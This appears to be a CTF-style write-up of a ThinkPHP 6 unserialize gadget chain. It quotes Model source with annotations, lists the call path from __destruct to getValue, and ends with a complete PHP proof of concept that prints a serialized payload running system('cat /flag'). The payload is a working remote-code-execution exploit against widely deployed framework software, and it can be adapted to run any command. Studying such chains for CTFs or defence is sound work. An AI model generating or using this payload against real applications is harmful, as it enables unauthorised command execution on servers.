protected function updateData(): bool

{

// 事件回调

if (false === $this->trigger('BeforeUpdate')) {

return false;

}

$this->checkData();

// 获取有更新的数据

$data = $this->getChangedData();

if (empty($data)) {

// 关联更新

if (!empty($this->relationWrite)) {

$this->autoRelationUpdate();

}

return true;

}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {

// 自动写入更新时间

$data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);

$this->data[$this->updateTime] = $data[$this->updateTime];

}

// 检查允许字段

$allowFields = $this->checkAllowFields();

foreach ($this->relationWrite as $name => $val) {

if (!is_array($val)) {

continue;

}

foreach ($val as $key) {

if (isset($data[$key])) {

unset($data[$key]);

}

}

}

// 模型更新

$db = $this->db();

$db->startTrans();

try {

$where  = $this->getWhere();

$result = $db->where($where)

->strict(false)

->field($allowFields)

->update($data);

$this->checkResult($result);

// 关联更新

if (!empty($this->relationWrite)) {

$this->autoRelationUpdate();

}

$db->commit();

// 更新回调

$this->trigger('AfterUpdate');

return true;

} catch (\Exception $e) {

$db->rollback();

throw $e;

}

}

public function toArray(): array

{

$item       = [];

$hasVisible = false;

foreach ($this->visible as $key => $val) {

if (is_string($val)) {

if (strpos($val, '.')) {

list($relation, $name)      = explode('.', $val);

$this->visible[$relation][] = $name;

} else {

$this->visible[$val] = true;

$hasVisible          = true;

}

unset($this->visible[$key]);

}

}

foreach ($this->hidden as $key => $val) {

if (is_string($val)) {

if (strpos($val, '.')) {

list($relation, $name)     = explode('.', $val);

$this->hidden[$relation][] = $name;

} else {

$this->hidden[$val] = true;

}

unset($this->hidden[$key]);

}

}

// 合并关联数据

$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {

if ($val instanceof Model || $val instanceof ModelCollection) {

// 关联模型对象

if (isset($this->visible[$key]) && is_array($this->visible[$key])) {

$val->visible($this->visible[$key]);

} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {

$val->hidden($this->hidden[$key]);

}

// 关联模型对象

if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {

$item[$key] = $val->toArray();

}

} elseif (isset($this->visible[$key])) {

$item[$key] = $this->getAttr($key);

} elseif (!isset($this->hidden[$key]) && !$hasVisible) {

$item[$key] = $this->getAttr($key);

}

}

// 追加属性（必须定义获取器）

foreach ($this->append as $key => $name) {

$this->appendAttrToArray($item, $key, $name);

}

return $item;

}

protected function getValue(string $name, $value, $relation = false)

{

// 检测属性获取器

$fieldName = $this->getRealFieldName($name);

$method    = 'get' . Str::studly($name) . 'Attr';

if (isset($this->withAttr[$fieldName])) {

if ($relation) {

$value = $this->getRelationValue($relation);

}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {

$value = $this->getJsonValue($fieldName, $value);

} else {

//$fieldName = a

//withAttr[a] = system

$closure = $this->withAttr[$fieldName];

//value = system(ls,)

$value   = $closure($value, $this->data);

}

} elseif (method_exists($this, $method)) {

if ($relation) {

$value = $this->getRelationValue($relation);

}

$value = $this->$method($value, $this->data);

} elseif (isset($this->type[$fieldName])) {

// 类型转换

$value = $this->readTransform($value, $this->type[$fieldName]);

} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {

$value = $this->getTimestampValue($value);

} elseif ($relation) {

$value = $this->getRelationValue($relation);

// 保存关联对象值

$this->relation[$name] = $value;

}

return $value;

}

think\Model --> __destruct()

think\Model --> save()

think\Model --> updateData()

think\Model --> checkAllowFields()

think\Model --> db()

后半部分利用链（同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()

think\model\concern\Conversion --> __toJson()

think\model\concern\Conversion --> __toArray()

think\model\concern\Attribute --> getAttr()

think\model\concern\Attribute --> getValue()

<?php

namespace think\model\concern {

trait Conversion

{

}

trait Attribute

{

private $data;

private $withAttr = ["xxx" => "system"];

public function get()

{

$this->data = ["xxx" => "cat /flag"];

}

}

}

namespace think{

abstract class Model{

use model\concern\Attribute;

use model\concern\Conversion;

private $lazySave;

protected $withEvent;

private $exists;

private $force;

protected $field;

protected $schema;

protected $table;

function __construct(){

$this->lazySave = true;

$this->withEvent = false;

$this->exists = true;

$this->force = true;

$this->field = [];

$this->schema = [];

$this->table = true;

}

}

}

namespace think\model{

use think\Model;

class Pivot extends Model

{

function __construct($obj='')

{

//定义this->data不为空

parent::__construct();

$this->get();

$this->table = $obj;

}

}

$a = new Pivot();

$b = new Pivot($a);

echo urlencode(serialize($b));

}